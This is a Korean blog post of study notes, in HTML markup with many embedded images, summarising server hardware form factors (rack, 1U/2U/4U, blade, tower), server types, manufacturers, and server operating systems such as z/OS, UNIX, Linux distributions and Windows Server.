&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;937&quot; data-origin-height=&quot;465&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lh4At/btsNm4tgwcP/TvZQDhLvpghwFj5HODkVr1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lh4At/btsNm4tgwcP/TvZQDhLvpghwFj5HODkVr1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lh4At/btsNm4tgwcP/TvZQDhLvpghwFj5HODkVr1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Flh4At%2FbtsNm4tgwcP%2FTvZQDhLvpghwFj5HODkVr1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;937&quot; height=&quot;465&quot; data-origin-width=&quot;937&quot; data-origin-height=&quot;465&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;서버 하드웨어와 소프트웨어&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 서버 하드웨어 폼팩터: 랙마운트형 서버, 줄여서 랙(Rack)서버라고 부르는 랙에 밀어 넣는 형태의 서버&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 폼팩터: 서버 하드웨어의 형태&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;917&quot; data-origin-height=&quot;366&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bKkyHx/btsNmeDYnNu/xBCnVPBlpMblzXEuq3s8i0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bKkyHx/btsNmeDYnNu/xBCnVPBlpMblzXEuq3s8i0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bKkyHx/btsNmeDYnNu/xBCnVPBlpMblzXEuq3s8i0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbKkyHx%2FbtsNmeDYnNu%2FxBCnVPBlpMblzXEuq3s8i0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;917&quot; height=&quot;366&quot; data-origin-width=&quot;917&quot; data-origin-height=&quot;366&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 1U(Unit) 서버&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;895&quot; data-origin-height=&quot;361&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dLb8BC/btsNl6xX3JS/mAkkWn6C85LicNoI8CBm1k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dLb8BC/btsNl6xX3JS/mAkkWn6C85LicNoI8CBm1k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dLb8BC/btsNl6xX3JS/mAkkWn6C85LicNoI8CBm1k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdLb8BC%2FbtsNl6xX3JS%2FmAkkWn6C85LicNoI8CBm1k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;895&quot; height=&quot;361&quot; data-origin-width=&quot;895&quot; data-origin-height=&quot;361&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 2U(Unit) 서버, 가장 보편적&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;882&quot; data-origin-height=&quot;302&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dANLKh/btsNmK9EF3D/0TWLndPDBKReyVNrJMlYG1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dANLKh/btsNmK9EF3D/0TWLndPDBKReyVNrJMlYG1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dANLKh/btsNmK9EF3D/0TWLndPDBKReyVNrJMlYG1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdANLKh%2FbtsNmK9EF3D%2F0TWLndPDBKReyVNrJMlYG1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;882&quot; height=&quot;302&quot; data-origin-width=&quot;882&quot; data-origin-height=&quot;302&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 4U(Unit) 서버, 2U 서버랑 성능 차이는 거의 없지만 저장 공간이 더 크다. (페타바이트 단위)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;841&quot; data-origin-height=&quot;356&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dZQnEk/btsNmlv3kDl/ksr2uoLmo2b8NM9sIMTpa0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dZQnEk/btsNmlv3kDl/ksr2uoLmo2b8NM9sIMTpa0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dZQnEk/btsNmlv3kDl/ksr2uoLmo2b8NM9sIMTpa0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdZQnEk%2FbtsNmlv3kDl%2Fksr2uoLmo2b8NM9sIMTpa0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;841&quot; height=&quot;356&quot; data-origin-width=&quot;841&quot; data-origin-height=&quot;356&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 서버 하드웨어 폼팩터: 블레이드(Blade)형 서버, 랙마운트형 서버를 더 얇게 만들고 케이스가 없는 형태의 서버&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;900&quot; data-origin-height=&quot;314&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bPHdAv/btsNm0YIvls/qf1VukVDgg6m54xkzHH4DK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bPHdAv/btsNm0YIvls/qf1VukVDgg6m54xkzHH4DK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bPHdAv/btsNm0YIvls/qf1VukVDgg6m54xkzHH4DK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbPHdAv%2FbtsNm0YIvls%2Fqf1VukVDgg6m54xkzHH4DK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;900&quot; height=&quot;314&quot; data-origin-width=&quot;900&quot; data-origin-height=&quot;314&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 서버 하드웨어 폼팩터: 타워형 서버, 일반 데스크탑PC와 유사한 형태의 서버로 워크스테이션이라고도 부름&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;838&quot; data-origin-height=&quot;310&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/4FYW0/btsNl0spiCS/qv0hG0Ds281vYdIgyo71IK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/4FYW0/btsNl0spiCS/qv0hG0Ds281vYdIgyo71IK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/4FYW0/btsNl0spiCS/qv0hG0Ds281vYdIgyo71IK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F4FYW0%2FbtsNl0spiCS%2Fqv0hG0Ds281vYdIgyo71IK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;838&quot; height=&quot;310&quot; data-origin-width=&quot;838&quot; data-origin-height=&quot;310&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 서버 하드웨어 유형: Main Frame, 1964년 IBM이 출시한 통계, 금융같은 분야에 사용되는 대형 서버&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;821&quot; data-origin-height=&quot;300&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bUMNQd/btsNo6Mki9o/QOqkdEifwAOQoxKjSFXiv0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bUMNQd/btsNo6Mki9o/QOqkdEifwAOQoxKjSFXiv0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bUMNQd/btsNo6Mki9o/QOqkdEifwAOQoxKjSFXiv0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbUMNQd%2FbtsNo6Mki9o%2FQOqkdEifwAOQoxKjSFXiv0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;821&quot; height=&quot;300&quot; data-origin-width=&quot;821&quot; data-origin-height=&quot;300&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 서버 하드웨어 유형: UNIX, Main Frame의 경량화 버전, 금융권 및 대기업에서 많이 사용하는 형태의 서버&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;511&quot; data-origin-height=&quot;366&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/8zZ7N/btsNoLPcabO/1Q7AzVQ92awf9vH3TQbbkk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/8zZ7N/btsNoLPcabO/1Q7AzVQ92awf9vH3TQbbkk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/8zZ7N/btsNoLPcabO/1Q7AzVQ92awf9vH3TQbbkk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F8zZ7N%2FbtsNoLPcabO%2F1Q7AzVQ92awf9vH3TQbbkk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;511&quot; height=&quot;366&quot; data-origin-width=&quot;511&quot; data-origin-height=&quot;366&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 서버 하드웨어 유형: x86, 중소기업부터 대기업까지 &lt;b&gt;가장 많이 사용하는 서버&lt;/b&gt; 유형, 90% 점유율 차지(1U, 2U 서버)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;870&quot; data-origin-height=&quot;168&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cdNApz/btsNpCXIocb/p9nFGvfMXxOtY1RCMpLqY1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cdNApz/btsNpCXIocb/p9nFGvfMXxOtY1RCMpLqY1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cdNApz/btsNpCXIocb/p9nFGvfMXxOtY1RCMpLqY1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcdNApz%2FbtsNpCXIocb%2Fp9nFGvfMXxOtY1RCMpLqY1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;870&quot; height=&quot;168&quot; data-origin-width=&quot;870&quot; data-origin-height=&quot;168&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 서버 하드웨어 제조사: &lt;b&gt;HPE&lt;/b&gt;, &lt;b&gt;Dell Technologies&lt;/b&gt;, Inspur, &lt;b&gt;Lenovo&lt;/b&gt;, IBM, Asus 등&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;777&quot; data-origin-height=&quot;459&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/RnOM0/btsNpCclfdg/qPVojOUuEiNXfOXIzqd100/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/RnOM0/btsNpCclfdg/qPVojOUuEiNXfOXIzqd100/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/RnOM0/btsNpCclfdg/qPVojOUuEiNXfOXIzqd100/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FRnOM0%2FbtsNpCclfdg%2FqPVojOUuEiNXfOXIzqd100%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;777&quot; height=&quot;459&quot; data-origin-width=&quot;777&quot; data-origin-height=&quot;459&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 서버 소프트웨어: 오픈소스 소프트웨어(무료) vs 상용 소프트웨어(유료)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;464&quot; data-origin-height=&quot;367&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/uR4I4/btsNlDYeaA2/cf5Qyc3kKxel45vrnt6YKk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/uR4I4/btsNlDYeaA2/cf5Qyc3kKxel45vrnt6YKk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/uR4I4/btsNlDYeaA2/cf5Qyc3kKxel45vrnt6YKk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FuR4I4%2FbtsNlDYeaA2%2Fcf5Qyc3kKxel45vrnt6YKk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;464&quot; height=&quot;367&quot; data-origin-width=&quot;464&quot; data-origin-height=&quot;367&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;윈도우, 포토샵, 오피스, 한컴 - 클라이언트 소프트웨어 중 상용 소프트웨어(유료)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오라클DB - 서버 소프트웨어 중 상용 소프트웨어(유료)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;584&quot; data-origin-height=&quot;348&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dIqztW/btsNmHy10v2/8wGjK7t6ReUlFOHKWgofuk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dIqztW/btsNmHy10v2/8wGjK7t6ReUlFOHKWgofuk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dIqztW/btsNmHy10v2/8wGjK7t6ReUlFOHKWgofuk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdIqztW%2FbtsNmHy10v2%2F8wGjK7t6ReUlFOHKWgofuk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;584&quot; height=&quot;348&quot; data-origin-width=&quot;584&quot; data-origin-height=&quot;348&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 서버 소프트웨어: 서버 OS(Operating System) / z/OS (IBM 제작, Main Frame / UNIX용 OS)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- OS 역할: 하드웨어를 조작할 수 있도록 함&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;794&quot; data-origin-height=&quot;400&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bauEmp/btsNpSeUCYw/e4sQJ6dB6IV6o6pO7IRBXK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bauEmp/btsNpSeUCYw/e4sQJ6dB6IV6o6pO7IRBXK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bauEmp/btsNpSeUCYw/e4sQJ6dB6IV6o6pO7IRBXK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbauEmp%2FbtsNpSeUCYw%2Fe4sQJ6dB6IV6o6pO7IRBXK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;794&quot; height=&quot;400&quot; data-origin-width=&quot;794&quot; data-origin-height=&quot;400&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 서버 소프트웨어: 서버 OS(Operating System) / UNIX (AIX, UX, SOLARIS - UNIX를 위한 OS)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;672&quot; data-origin-height=&quot;399&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b3EZTK/btsNpsOUFKI/aDQIVXW8ETIS96UchSXiC1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b3EZTK/btsNpsOUFKI/aDQIVXW8ETIS96UchSXiC1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b3EZTK/btsNpsOUFKI/aDQIVXW8ETIS96UchSXiC1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb3EZTK%2FbtsNpsOUFKI%2FaDQIVXW8ETIS96UchSXiC1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;672&quot; height=&quot;399&quot; data-origin-width=&quot;672&quot; data-origin-height=&quot;399&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 서버 소프트웨어: 서버 OS(Operating System) / 오픈소스 Linux (x86에서 구동되는 OS)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 내 마음대로 커스터마이징: 리눅스 배포판(Debian, Ubuntu, CentOS)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 기업에서 많이 사용하는 OS: CentOS, RHEL 기능과 동일하지만 무료&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;943&quot; data-origin-height=&quot;370&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/yGpT7/btsNolQZIHF/qZUjQW9XeTL41N3MBIY3xk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/yGpT7/btsNolQZIHF/qZUjQW9XeTL41N3MBIY3xk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/yGpT7/btsNolQZIHF/qZUjQW9XeTL41N3MBIY3xk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FyGpT7%2FbtsNolQZIHF%2FqZUjQW9XeTL41N3MBIY3xk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;943&quot; height=&quot;370&quot; data-origin-width=&quot;943&quot; data-origin-height=&quot;370&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 서버 소프트웨어: 서버 OS(Operating System) / 상용 Linux,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- Red Hat Enterprise Linux: RHEL, 기업에서 가장 많이 사용하는 상용 리눅스 OS&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- SUSE Linux&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 위 두개의 리눅스는 OS 자체는 무료이지만, 기술지원을 위해서는 비용을 지불해야한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;868&quot; data-origin-height=&quot;362&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/44DAY/btsNpA0dyUC/QeOCQZ8gB4YJk7aYpETwCk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/44DAY/btsNpA0dyUC/QeOCQZ8gB4YJk7aYpETwCk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/44DAY/btsNpA0dyUC/QeOCQZ8gB4YJk7aYpETwCk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F44DAY%2FbtsNpA0dyUC%2FQeOCQZ8gB4YJk7aYpETwCk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;868&quot; height=&quot;362&quot; data-origin-width=&quot;868&quot; data-origin-height=&quot;362&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 서버 소프트웨어: 서버 OS(Operating System) / Microsoft Windows Server&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 일반 윈도우와 UI/UX는 동일하나 구동되는 소프트웨어가 다름&lt;/p&gt;
